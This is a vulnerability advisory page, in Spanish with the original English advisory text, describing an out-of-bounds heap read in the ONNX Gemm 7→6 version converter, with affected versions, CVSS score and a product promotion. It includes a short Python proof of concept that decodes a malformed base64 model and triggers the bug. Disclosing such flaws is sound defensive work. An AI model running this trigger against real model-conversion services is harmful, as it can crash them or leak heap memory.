Baja

ONNX: Heap-Buffer-Overflow READ in Gemm Version Converter Adapter via Undersized Input Shape

  • Publicada: 24.07.2026
  • Actualizado: 11.10.2026 14:19

Summary

Heap-buffer-overflow READ (16 bytes) in Gemm_7_6::adapt_gemm_7_6() (onnx/version_converter/adapters/gemm_7_6.h:41) when ConvertVersion() processes a model with a Gemm node whose input tensors have fewer than 2 dimensions. The adapter accesses B_shape[1] without checking rank. On Release builds the OOB read is silent; ASan confirms 16-byte read past a 48-byte allocation.

Details

The Gemm 7→6 downgrade adapter reads input shapes without bounds checking:

cpp
// gemm_7_6.h:26-42
const auto& A_shape = inputs[0]->sizes();  // May have < 2 elements
const auto& B_shape = inputs[1]->sizes();  // May have < 2 elements

if (node->hasAttribute(ktransB) && node->i(ktransB) == 1) {
    MN.emplace_back(B_shape[0]);   // OOB if B has 0 dims
} else {
    MN.emplace_back(B_shape[1]);   // OOB if B has < 2 dims ← CRASH
}

The PoC has input B with shape [28] (1 dimension). B_shape has 1 element. Accessing B_shape[1] reads 16 bytes past the std::vector<Dimension> internal storage into adjacent heap memory.

The same unchecked pattern applies to A_shape[0] and A_shape[1] at lines 34 and 36.

Entry point: onnx.version_converter.convert_version(model, 6) — different from the InferShapes bugs reported in separate advisories. This triggers during opset downgrade (7→6).

PoC

python
import base64
import onnx
from onnx import version_converter

poc_b64 = "CAM6rwEKUQoBQQoBQgoBQRIBWSIER2VtbSoPCgVhbHBoYRUBAQA+oAEBKg4KBGJldGEVAAAAOqABASoNCgZ0dGZsc0EYAaABAioNCgZ0cmFuc0IYAKABAhIKb2Vpdl94bWZ2aFoTCgFBEg4KDAgBEggKAggCCgIIA1oTCgFCEg4KDAgBEggKAggcCgIIBFoPCgFCEgoKCAgBEgQKAggbYhMKAVkSDgoMCAESCAoCCAIKAggEQgQKABAH"

model = onnx.load_from_string(base64.b64decode(poc_b64))

# Triggers heap-buffer-overflow in Gemm_7_6 adapter
version_converter.convert_version(model, 6)

186-byte PoC. ASan confirms: heap-buffer-overflow READ of size 16 at gemm_7_6.h:41, 0 bytes after 48-byte region allocated in tensorShapeProtoToDimensions at ir_pb_converter.cc:216.

Impact

Any application that uses onnx.version_converter.convert_version() on untrusted models is vulnerable. This includes model conversion pipelines and tools that auto-downgrade opset versions for compatibility. On Release builds the OOB read is silent — the read value propagates into the converted model's output shape, potentially leaking heap data. On ASan builds it's detected as a heap-buffer-overflow. Could also cause crashes with different heap layouts.

Software afectado

Haz clic en una tecnología para ver todas sus vulnerabilidades.

PlataformaPaqueteVersiones vulnerablesCorregida en
Python (PyPI) onnx >= 1.3.0, < 1.22.0 1.22.0

Referencias

Puntuación CVSS 3.3/10
Vector CVSS
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L
Debilidad (CWE)
CWE-125
Plataforma
Python (PyPI)
Paquete
onnx
Publicada
24.07.2026
Actualizado
11.10.2026 14:19

Fuentes y licencias

OSV / GitHub Advisory Database - PYSEC-2026-3587 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-p893-rvq9-2xf9 - CC BY 4.0

Historial de vulnerabilidades: onnx

Todas las vulnerabilidades publicadas de este paquete (Python (PyPI)), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Todas (13) en el archivo
Entradas en total
13
Primera → última
01.2023 07.2026
Sin corrección
0
Explotada en ataques
0

Distribución por gravedad

  • Crítica 1
  • Alta 7
  • Media 4
  • Baja 1

Divulgaciones por año

  1. 2023: 1
  2. 2024: 3
  3. 2025: 1
  4. 2026: 8
Gravedad:
  1. ONNX: Heap-Buffer-Overflow READ in Gemm Version Converter Adapter via Undersized Input Shape esta entrada
    Baja · 3.3 CVE-2026-63632 >= 1.3.0, < 1.22.0 1.22.0
  2. Alta · 7.1 CVE-2026-49114 < 1.21.0 1.21.0
  3. Alta CVE-2026-27489 < 1.21.0 1.21.0
  4. Alta · 7.5 CVE-2024-27318 < 1.16.0 1.16.0

Identifica las vulnerabilidades de tu aplicación

Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.

Conectar tu aplicación
Newsletter DockRay

La seguridad de tus aplicaciones en tu correo

Vulnerabilidades importantes, recomendaciones concretas y consejos prácticos para tus aplicaciones. Elige tus tecnologías y sigue lo que importa para tu proyecto.

  • Un resumen diario de nuevas vulnerabilidades, también las críticas.
  • Avisos sobre actualizaciones importantes.
  • Consejos prácticos sobre seguridad y monitorización de aplicaciones.

Déjalo vacío para recibir avisos de todas las tecnologías.

Suscripción gratuita. Date de baja con un clic en cualquier correo.